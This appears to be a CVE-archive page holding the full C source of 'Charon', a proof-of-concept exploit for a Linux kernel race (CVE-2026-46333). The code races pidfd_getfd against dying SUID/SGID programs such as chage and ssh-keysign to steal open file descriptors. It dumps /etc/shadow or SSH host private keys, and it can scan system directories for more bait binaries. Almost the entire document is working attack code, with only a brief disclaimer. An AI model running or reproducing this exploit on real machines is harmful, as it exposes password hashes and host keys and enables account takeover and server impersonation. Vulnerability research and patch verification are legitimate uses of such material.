5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / charon.c C
/*
 *  ██████╗██╗  ██╗ █████╗ ██████╗  ██████╗ ███╗   ██╗
 * ██╔════╝██║  ██║██╔══██╗██╔══██╗██╔═══██╗████╗  ██║
 * ██║     ███████║███████║██████╔╝██║   ██║██╔██╗ ██║
 * ██║     ██╔══██║██╔══██║██╔══██╗██║   ██║██║╚██╗██║
 * ╚██████╗██║  ██║██║  ██║██║  ██║╚██████╔╝██║ ╚████║
 *  ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
 *   ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~
 *           CVE-2026-46333  /  Linux <= 6.12.89
 *
 *   "It is a fearful thing to fall into the hands of the living God."
 *                                              — Hebrews 10:31
 *
 * Charon races pidfd_getfd(2) against a dying SUID/SGID process to
 * lift its open /etc/shadow file descriptor through the transient
 * mm-NULL window in do_exit():
 *
 *     do_exit()
 *       ├── exit_mm()      ← task->mm = NULL
 *       ├── ...            ← __ptrace_may_access() now lies
 *       └── exit_files()   ← fd table reaped
 *
 * The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
 * never dumpable" and short-circuits the dumpable check. A dying
 * userspace SUID/SGID process is briefly indistinguishable from a
 * kernel thread in that test, so pidfd_getfd(2) succeeds against it
 * and returns whatever fds it still has open before exit_files() runs.
 *
 * If the bait binary opened /etc/shadow and then setreuid'd to the
 * attacker uid before exiting, Charon walks home with the fd.
 *
 * Mainline fix:  31e62c2ebbfd  (Linus, 2026-05-14)
 * Disclosure:    Qualys → oss-security 2026-05-15
 *
 * Educational and authorized-defensive use only.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <dirent.h>
#include <signal.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <getopt.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

#define CHARON_VERSION "1.1.0"

static const char BANNER[] =
"\n"
" \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97  "
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97   \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91     \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91   \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91     \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91   \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91  \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d  \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d  \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d  \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d "
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d "
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d  \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n"
"   ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n"
"             CVE-2026-46333  /  Linux <= 6.12.89\n"
"\n";

/* A bait is a SUID/SGID binary that opens FILE before dropping creds
 * and exiting. ARGV makes it open FILE deterministically. */
struct bait {
    const char *path;
    const char *file;
    const char *args[6];   /* argv terminated by NULL */
};

static const struct bait builtin_baits[] = {
    /* chage -l <user> opens /etc/shadow on Debian/Ubuntu (SGID-shadow)
     * and on RHEL family (SUID-root). Either way the dumpable=0 flag
     * is set on the dying process — the bug bypasses the check. */
    { "/usr/bin/chage",                "/etc/shadow",
      { "chage", "-l", "root", NULL } },
    { "/usr/sbin/chage",               "/etc/shadow",
      { "chage", "-l", "root", NULL } },

    /* ssh-keysign opens the host private keys when invoked even with
     * no args (it bails after the open if HostbasedAuthentication is
     * off, but we only need it to OPEN the file). */
    { "/usr/lib/openssh/ssh-keysign",  "/etc/ssh/ssh_host_ecdsa_key",
      { "ssh-keysign", NULL } },
    { "/usr/lib/openssh/ssh-keysign",  "/etc/ssh/ssh_host_ed25519_key",
      { "ssh-keysign", NULL } },
    { "/usr/lib/openssh/ssh-keysign",  "/etc/ssh/ssh_host_rsa_key",
      { "ssh-keysign", NULL } },
    { "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
      { "ssh-keysign", NULL } },

    { NULL, NULL, { NULL } }
};

/* Auto-discovery search roots and the SUID/SGID names we refuse to
 * invoke (would prompt for input, hang waiting, or mutate state). */
static const char *const auto_search_roots[] = {
    "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin",
    "/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh",
    "/bin", "/sbin", NULL
};
static const char *const auto_skip_names[] = {
    "su", "sudo", "doas", "pkexec", "newgrp",
    "mount", "umount", "fusermount", "fusermount3",
    "ping", "ping6", "traceroute", "traceroute6",
    NULL
};
/* Argv patterns we try against each auto-discovered binary. */
static const char *const auto_arg_patterns[][4] = {
    { "-l", "root", NULL },     /* chage / passwd  -l root */
    { "-S", "root", NULL },     /* passwd          -S root */
    { "--version", NULL },      /* most tools, fast + safe */
    { NULL },                   /* no args (some tools open files on startup) */
};

/* CLI state */
static const char *opt_target  = NULL;
static int         opt_quiet   = 0;
static int         opt_verbose = 0;
static int         opt_rounds  = 500;
static int         opt_inner   = 30000;
static int         opt_auto    = 0;
static int         opt_list    = 0;

/* Stats spanning all hunt() invocations. */
static unsigned long stat_forks       = 0;
static unsigned long stat_getfds      = 0;     /* pidfd_getfd calls */
static unsigned long stat_getfd_ok    = 0;     /* pidfd_getfd that returned >= 0 */
static unsigned long stat_target_hits = 0;     /* fd's readlink matched want_file */

static void
msg(const char *prefix, const char *fmt, ...)
{
    if (opt_quiet) return;
    va_list ap;
    fprintf(stderr, "%s ", prefix);
    va_start(ap, fmt);
    vfprintf(stderr, fmt, ap);
    va_end(ap);
    fputc('\n', stderr);
    fflush(stderr);
}

static int
dump_fd(int fd)
{
    char buf[8192];
    ssize_t n;
    lseek(fd, 0, SEEK_SET);
    while ((n = read(fd, buf, sizeof(buf))) > 0)
        if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1;
    fflush(stdout);
    return n < 0 ? -1 : 0;
}

static int
bait_present(const char *path)
{
    struct stat st;
    if (stat(path, &st) != 0) return 0;
    if (!S_ISREG(st.st_mode))  return 0;
    if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
    return 1;
}

/* Returns:
 *   0       success — file contents on stdout
 *  -ENOENT  bait not present / lacks setuid|setgid
 *  -ETIME   primitive fired but target file wasn't in the fd table
 *  -EPERM   pidfd_getfd never succeeded — kernel likely patched
 */
static int
hunt(const char *path, const char *want_file, const char *const argv[])
{
    if (!bait_present(path)) return -ENOENT;

    unsigned long getfd_ok_before = stat_getfd_ok;

    for (int round = 0; round < opt_rounds; round++) {
        pid_t c = fork();
        if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }

        if (c == 0) {
            int dn = open("/dev/null", O_RDWR);
            if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
            execv(path, (char *const *)argv);
            _exit(127);
        }

        stat_forks++;

        int pfd = syscall(__NR_pidfd_open, c, 0);
        if (pfd < 0) { waitpid(c, NULL, 0); continue; }

        int got = -1;
        for (int a = 0; a < opt_inner && got < 0; a++) {
            for (int i = 3; i < 32; i++) {
                int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
                stat_getfds++;
                if (s < 0) continue;
                stat_getfd_ok++;
                char p[512] = {0}, lk[64];
                snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
                ssize_t n = readlink(lk, p, sizeof(p) - 1);
                if (n > 0) p[n] = 0;
                if (strstr(p, want_file)) {
                    if (opt_verbose)
                        msg("[+]", "hit fd %d -> %s   round=%d try=%d",
                            i, p, round, a);
                    got = s;
                    break;
                }
                close(s);
            }
        }

        if (got >= 0) {
            stat_target_hits++;
            int rc = dump_fd(got);
            close(got);
            close(pfd);
            kill(c, SIGKILL);
            waitpid(c, NULL, 0);
            if (opt_verbose)
                msg("[#]",
                    "stats: %lu forks, %lu getfds (%lu ok), %lu target hits",
                    stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
            return rc;
        }

        close(pfd);
        /* Some baits (ssh-agent, daemons) won't exit on their own —
         * force them so waitpid doesn't block this whole hunt. */
        kill(c, SIGKILL);
        waitpid(c, NULL, 0);
    }

    if (stat_getfd_ok == getfd_ok_before) return -EPERM;
    return -ETIME;
}

/* Walk standard SUID/SGID roots and try each binary as a bait.
 * Uses an aggressive per-bait round budget (auto_rounds) so a full
 * sweep finishes in seconds even when nothing matches. */
static int
auto_discover(const char *want_file, int just_list)
{
    int discovered = 0, attempted = 0, primitive_worked = 0;
    /* Save user-set values; restore on exit. */
    int saved_rounds = opt_rounds;
    int saved_inner  = opt_inner;
    if (!just_list) {
        /* Per-bait budget for auto mode: keep tight so the sweep is fast.
         * Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */
        if (opt_rounds > 5)    opt_rounds = 5;
        if (opt_inner  > 2000) opt_inner  = 2000;
    }
    time_t auto_deadline = time(NULL) + (just_list ? 0 : 60);   /* 60s budget */

    for (const char *const *root = auto_search_roots; *root; root++) {
        DIR *d = opendir(*root);
        if (!d) continue;
        struct dirent *e;
        while ((e = readdir(d)) != NULL) {
            if (e->d_name[0] == '.') continue;

            char path[512];
            int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name);
            if (n < 0 || n >= (int)sizeof(path)) continue;

            struct stat st;
            if (lstat(path, &st) != 0) continue;
            if (!S_ISREG(st.st_mode))  continue;
            if (!(st.st_mode & (S_ISUID | S_ISGID))) continue;

            int skip = 0;
            for (const char *const *s = auto_skip_names; *s; s++)
                if (!strcmp(e->d_name, *s)) { skip = 1; break; }
            if (skip) continue;

            discovered++;

            if (just_list) {
                printf("  %s   (mode %04o, %s)\n",
                       path, st.st_mode & 07777,
                       (st.st_mode & S_ISUID) ? "SUID" : "SGID");
                continue;
            }

            for (size_t ai = 0;
                 ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0];
                 ai++) {
                const char *argv[6] = { e->d_name };
                int k = 1;
                for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++)
                    argv[k++] = auto_arg_patterns[ai][x];
                argv[k] = NULL;

                if (opt_verbose) {
                    char arghint[64] = "";
                    for (int x = 1; argv[x] && x < 5; x++) {
                        strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1);
                        strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1);
                    }
                    msg("[auto]", "trying %s%s", path, arghint);
                }

                attempted++;
                int rc = hunt(path, want_file, argv);
                if (rc == 0) {
                    msg("[+]", "auto-discovered working bait: %s", path);
                    closedir(d);
                    opt_rounds = saved_rounds;
                    opt_inner  = saved_inner;
                    return 0;
                }
                if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1;

                if (time(NULL) > auto_deadline) {
                    msg("[!]", "60s auto-scan budget exhausted (%d baits tried)",
                        attempted);
                    closedir(d);
                    goto auto_done;
                }
            }
        }
        closedir(d);
    }
auto_done:;

    /* Restore user budgets. */
    opt_rounds = saved_rounds;
    opt_inner  = saved_inner;

    if (just_list) {
        fprintf(stderr,
                "\n  discovered %d SUID/SGID binaries in standard roots\n"
                "  (use --auto to try each as a bait for %s)\n",
                discovered, want_file ? want_file : "/etc/shadow");
        return 0;
    }

    if (opt_verbose)
        msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits",
            attempted, stat_getfd_ok, stat_target_hits);
    if (!primitive_worked && stat_getfd_ok == 0) return -EPERM;
    return -ETIME;
}

static void
usage(const char *prog)
{
    fprintf(stderr,
        "CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
        "\n"
        "Usage: %s [options]\n"
        "\n"
        "  -t, --target FILE   file to read           (default: /etc/shadow)\n"
        "  -r, --rounds N      max rounds per bait    (default: 500)\n"
        "  -i, --inner N       inner getfd attempts   (default: 30000)\n"
        "  -a, --auto          if built-in baits fail, scan SUID/SGID dirs\n"
        "  -L, --list-baits    enumerate candidate baits and exit\n"
        "  -q, --quiet         no banner, no progress\n"
        "  -v, --verbose       per-hit + final stats\n"
        "      --version       print version and exit\n"
        "  -h, --help          this help\n"
        "\n"
        "Exit codes:\n"
        "   0  success — file contents on stdout\n"
        "   1  no bait on this system opens the requested file\n"
        "   2  kernel appears patched (CVE-2026-46333 closed)\n"
        "   3  ran out of rounds without a hit (transient — try -r 5000)\n"
        "   4  CLI / IO error\n"
        "\n"
        "For authorized security testing and defensive research only.\n",
        CHARON_VERSION, prog);
}

int
main(int argc, char **argv)
{
    static const struct option opts[] = {
        {"target",     required_argument, 0, 't'},
        {"rounds",     required_argument, 0, 'r'},
        {"inner",      required_argument, 0, 'i'},
        {"auto",       no_argument,       0, 'a'},
        {"list-baits", no_argument,       0, 'L'},
        {"quiet",      no_argument,       0, 'q'},
        {"verbose",    no_argument,       0, 'v'},
        {"version",    no_argument,       0,  1 },
        {"help",       no_argument,       0, 'h'},
        {0,0,0,0}
    };

    int o;
    while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) {
        switch (o) {
        case 't': opt_target  = optarg;       break;
        case 'r': opt_rounds  = atoi(optarg); break;
        case 'i': opt_inner   = atoi(optarg); break;
        case 'a': opt_auto    = 1;            break;
        case 'L': opt_list    = 1;            break;
        case 'q': opt_quiet   = 1;            break;
        case 'v': opt_verbose = 1;            break;
        case  1 : printf("charon %s\n", CHARON_VERSION); return 0;
        case 'h': usage(argv[0]); return 0;
        default : usage(argv[0]); return 4;
        }
    }
    if (!opt_target) opt_target = "/etc/shadow";
    if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }

    if (!opt_quiet && !opt_list) fputs(BANNER, stderr);

    if (opt_list) {
        fprintf(stderr, "  built-in baits for %s:\n", opt_target);
        int builtin_count = 0;
        for (const struct bait *b = builtin_baits; b->path; b++) {
            if (strcmp(b->file, opt_target) != 0) continue;
            const char *status = bait_present(b->path) ? "OK" : "MISSING";
            fprintf(stderr, "    [%s] %s\n", status, b->path);
            builtin_count++;
        }
        if (!builtin_count) fprintf(stderr, "    (none — try --auto)\n");
        fprintf(stderr, "\n  discovered SUID/SGID candidates in standard roots:\n");
        return auto_discover(opt_target, /*just_list=*/1);
    }

    /* Phase 1: try built-in baits whose file matches the request. */
    int any_present = 0, all_patched = 1;
    for (const struct bait *b = builtin_baits; b->path; b++) {
        if (strcmp(b->file, opt_target) != 0) continue;
        if (!bait_present(b->path)) continue;
        any_present = 1;
        msg("[*]", "bait %s   target %s", b->path, opt_target);
        int rc = hunt(b->path, opt_target, b->args);
        if (rc == 0) return 0;
        if (rc != -EPERM) all_patched = 0;
    }

    /* Phase 2: auto-discover if asked, OR if no built-in bait matched. */
    if (opt_auto || !any_present) {
        if (opt_auto)
            msg("[*]", "built-in baits exhausted, auto-discovering...");
        else
            msg("[*]", "no built-in bait opens %s, trying --auto", opt_target);
        int rc = auto_discover(opt_target, /*just_list=*/0);
        if (rc == 0) return 0;
        if (rc != -EPERM) all_patched = 0;
    }

    if (!any_present && !opt_auto) {
        msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target);
        return 1;
    }
    if (all_patched && stat_getfd_ok == 0) {
        msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded",
            stat_getfds, stat_forks);
        msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
        return 2;
    }
    msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
        stat_getfd_ok, opt_target);
    msg("[!]", "try -r 5000, -t <other file>, or --auto");
    return 3;
}